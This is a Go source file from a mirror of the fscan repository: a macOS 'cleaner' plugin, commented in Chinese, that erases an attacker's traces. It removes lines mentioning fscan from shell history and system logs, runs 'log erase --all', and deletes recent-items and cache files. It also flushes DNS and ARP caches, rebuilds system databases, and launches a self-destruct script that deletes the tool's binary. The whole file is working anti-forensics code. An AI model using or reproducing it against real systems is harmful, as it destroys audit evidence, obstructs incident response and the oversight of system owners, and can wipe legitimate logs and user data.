mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
404 lines
11 KiB
Go
404 lines
11 KiB
Go
//go:build darwin
|
||
|
||
package cleaner
|
||
|
||
import (
|
||
"fmt"
|
||
"os"
|
||
"os/exec"
|
||
"path/filepath"
|
||
"strings"
|
||
"time"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
)
|
||
|
||
// cleanSystemTraces 清理macOS系统痕迹
|
||
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||
report := make(map[string]interface{})
|
||
var cleaned []string
|
||
|
||
// 1. 清理Shell历史记录
|
||
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
|
||
cleaned = append(cleaned, shellHistory...)
|
||
report["shell_history"] = shellHistory
|
||
}
|
||
|
||
// 2. 清理系统日志
|
||
if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 {
|
||
cleaned = append(cleaned, systemLogs...)
|
||
report["system_logs"] = systemLogs
|
||
}
|
||
|
||
// 3. 清理最近项目记录
|
||
if recentItems := p.cleanRecentItems(); len(recentItems) > 0 {
|
||
cleaned = append(cleaned, recentItems...)
|
||
report["recent_items"] = recentItems
|
||
}
|
||
|
||
// 4. 清理Spotlight索引
|
||
if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 {
|
||
cleaned = append(cleaned, spotlight...)
|
||
report["spotlight_index"] = spotlight
|
||
}
|
||
|
||
// 5. 清理临时文件
|
||
if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 {
|
||
cleaned = append(cleaned, tempFiles...)
|
||
report["temp_files"] = tempFiles
|
||
}
|
||
|
||
// 6. 清理LaunchServices数据库
|
||
if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 {
|
||
cleaned = append(cleaned, launchServices...)
|
||
report["launch_services"] = launchServices
|
||
}
|
||
|
||
p.cleanupStats["system_entries"] += len(cleaned)
|
||
report["total_cleaned"] = len(cleaned)
|
||
|
||
return report
|
||
}
|
||
|
||
// cleanShellHistory 清理Shell历史记录 (与Linux类似)
|
||
func (p *CleanerPlugin) cleanShellHistory() []string {
|
||
var cleaned []string
|
||
|
||
homeDir := os.Getenv("HOME")
|
||
if homeDir == "" {
|
||
return cleaned
|
||
}
|
||
|
||
// macOS常见的Shell历史文件
|
||
historyFiles := []string{
|
||
".bash_history",
|
||
".zsh_history",
|
||
".sh_history",
|
||
}
|
||
|
||
for _, histFile := range historyFiles {
|
||
histPath := filepath.Join(homeDir, histFile)
|
||
|
||
if _, err := os.Stat(histPath); os.IsNotExist(err) {
|
||
continue
|
||
}
|
||
|
||
content, err := os.ReadFile(histPath)
|
||
if err != nil {
|
||
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
|
||
continue
|
||
}
|
||
|
||
lines := strings.Split(string(content), "\n")
|
||
var filteredLines []string
|
||
removedCount := 0
|
||
|
||
for _, line := range lines {
|
||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||
removedCount++
|
||
continue
|
||
}
|
||
filteredLines = append(filteredLines, line)
|
||
}
|
||
|
||
if removedCount > 0 {
|
||
newContent := strings.Join(filteredLines, "\n")
|
||
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
|
||
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
|
||
} else {
|
||
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
|
||
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
|
||
}
|
||
}
|
||
}
|
||
|
||
// 清理当前会话历史
|
||
if err := exec.Command("history", "-c").Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "Current session history")
|
||
common.LogSuccess("已清理当前会话历史记录")
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanMacSystemLogs 清理macOS系统日志
|
||
func (p *CleanerPlugin) cleanMacSystemLogs() []string {
|
||
var cleaned []string
|
||
|
||
// macOS系统日志路径
|
||
logPaths := []string{
|
||
"/var/log/system.log",
|
||
"/var/log/install.log",
|
||
"/var/log/secure.log",
|
||
}
|
||
|
||
// 用户日志目录
|
||
homeDir := os.Getenv("HOME")
|
||
if homeDir != "" {
|
||
userLogDir := filepath.Join(homeDir, "Library", "Logs")
|
||
if entries, err := os.ReadDir(userLogDir); err == nil {
|
||
for _, entry := range entries {
|
||
if strings.Contains(strings.ToLower(entry.Name()), "fscan") {
|
||
logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name()))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
for _, logPath := range logPaths {
|
||
if _, err := os.Stat(logPath); os.IsNotExist(err) {
|
||
continue
|
||
}
|
||
|
||
if p.filterLogFile(logPath) {
|
||
cleaned = append(cleaned, logPath)
|
||
}
|
||
}
|
||
|
||
// 使用log命令清理系统日志
|
||
if err := exec.Command("log", "erase", "--all").Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "Unified Logging System")
|
||
common.LogSuccess("已清理统一日志系统")
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// filterLogFile 过滤日志文件 (与Linux类似)
|
||
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
|
||
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
|
||
if err != nil {
|
||
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
|
||
return false
|
||
}
|
||
defer file.Close()
|
||
|
||
content, err := os.ReadFile(logPath)
|
||
if err != nil {
|
||
return false
|
||
}
|
||
|
||
lines := strings.Split(string(content), "\n")
|
||
var filteredLines []string
|
||
removedCount := 0
|
||
|
||
for _, line := range lines {
|
||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||
removedCount++
|
||
continue
|
||
}
|
||
filteredLines = append(filteredLines, line)
|
||
}
|
||
|
||
if removedCount > 0 {
|
||
newContent := strings.Join(filteredLines, "\n")
|
||
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
|
||
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
|
||
return false
|
||
}
|
||
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
|
||
return true
|
||
}
|
||
|
||
return false
|
||
}
|
||
|
||
// cleanRecentItems 清理macOS最近项目记录
|
||
func (p *CleanerPlugin) cleanRecentItems() []string {
|
||
var cleaned []string
|
||
|
||
homeDir := os.Getenv("HOME")
|
||
if homeDir == "" {
|
||
return cleaned
|
||
}
|
||
|
||
// 最近项目plist文件
|
||
recentPaths := []string{
|
||
filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"),
|
||
filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"),
|
||
}
|
||
|
||
for _, recentPath := range recentPaths {
|
||
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
|
||
continue
|
||
}
|
||
|
||
// 对于plist文件,我们采用删除整个文件的方式
|
||
if strings.HasSuffix(recentPath, ".plist") {
|
||
if err := os.Remove(recentPath); err != nil {
|
||
common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, recentPath)
|
||
common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath)))
|
||
}
|
||
}
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanSpotlightIndex 清理Spotlight索引
|
||
func (p *CleanerPlugin) cleanSpotlightIndex() []string {
|
||
var cleaned []string
|
||
|
||
// 重建当前目录的Spotlight索引
|
||
if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory))
|
||
common.LogSuccess("已重建Spotlight索引")
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanMacTempFiles 清理macOS临时文件
|
||
func (p *CleanerPlugin) cleanMacTempFiles() []string {
|
||
var cleaned []string
|
||
|
||
homeDir := os.Getenv("HOME")
|
||
|
||
// macOS临时目录
|
||
tempDirs := []string{
|
||
"/tmp",
|
||
"/var/tmp",
|
||
}
|
||
|
||
if homeDir != "" {
|
||
tempDirs = append(tempDirs, []string{
|
||
filepath.Join(homeDir, "Library", "Caches"),
|
||
filepath.Join(homeDir, "Library", "Application Support"),
|
||
}...)
|
||
}
|
||
|
||
for _, tempDir := range tempDirs {
|
||
entries, err := os.ReadDir(tempDir)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
|
||
for _, entry := range entries {
|
||
entryName := strings.ToLower(entry.Name())
|
||
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") {
|
||
entryPath := filepath.Join(tempDir, entry.Name())
|
||
|
||
// 检查文件修改时间
|
||
if info, err := entry.Info(); err == nil {
|
||
if time.Since(info.ModTime()) < 5*time.Minute {
|
||
continue
|
||
}
|
||
}
|
||
|
||
if entry.IsDir() {
|
||
if err := os.RemoveAll(entryPath); err != nil {
|
||
common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, entryPath)
|
||
p.cleanupStats["directories"]++
|
||
}
|
||
} else {
|
||
if err := os.Remove(entryPath); err != nil {
|
||
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, entryPath)
|
||
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanLaunchServicesDB 清理LaunchServices数据库
|
||
func (p *CleanerPlugin) cleanLaunchServicesDB() []string {
|
||
var cleaned []string
|
||
|
||
// 重建LaunchServices数据库
|
||
if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "LaunchServices Database")
|
||
common.LogSuccess("已重建LaunchServices数据库")
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanNetworkTraces 清理网络痕迹
|
||
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||
report := make(map[string]interface{})
|
||
var cleaned []string
|
||
|
||
// 清理DNS缓存
|
||
if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "DNS Cache (dscacheutil)")
|
||
common.LogSuccess("已清理DNS缓存")
|
||
}
|
||
|
||
// 清理mDNS缓存
|
||
if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "mDNS Cache")
|
||
common.LogSuccess("已重启mDNSResponder")
|
||
}
|
||
|
||
// 清理ARP缓存
|
||
if err := exec.Command("arp", "-d", "-a").Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "ARP Cache")
|
||
common.LogSuccess("已清理ARP缓存")
|
||
}
|
||
|
||
report["network_caches"] = cleaned
|
||
report["total_cleaned"] = len(cleaned)
|
||
|
||
return report
|
||
}
|
||
|
||
// createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用)
|
||
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
|
||
report := make(map[string]interface{})
|
||
|
||
// 创建shell自毁脚本
|
||
shellScript := fmt.Sprintf(`#!/bin/bash
|
||
sleep 2
|
||
rm -f "%s" 2>/dev/null
|
||
rm -f "$0" 2>/dev/null
|
||
exit 0`, p.currentExecutable)
|
||
|
||
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
|
||
|
||
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
|
||
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||
report["status"] = "failed"
|
||
report["error"] = err.Error()
|
||
} else {
|
||
// 异步执行自毁脚本
|
||
go func() {
|
||
time.Sleep(1 * time.Second)
|
||
cmd := exec.Command("/bin/bash", scriptPath)
|
||
cmd.Start()
|
||
}()
|
||
|
||
report["status"] = "scheduled"
|
||
report["script_path"] = scriptPath
|
||
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||
}
|
||
|
||
return report
|
||
}
|
||
|
||
// prepareSelfDestruction 准备自毁
|
||
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||
return p.createUnixSelfDestruct()
|
||
} |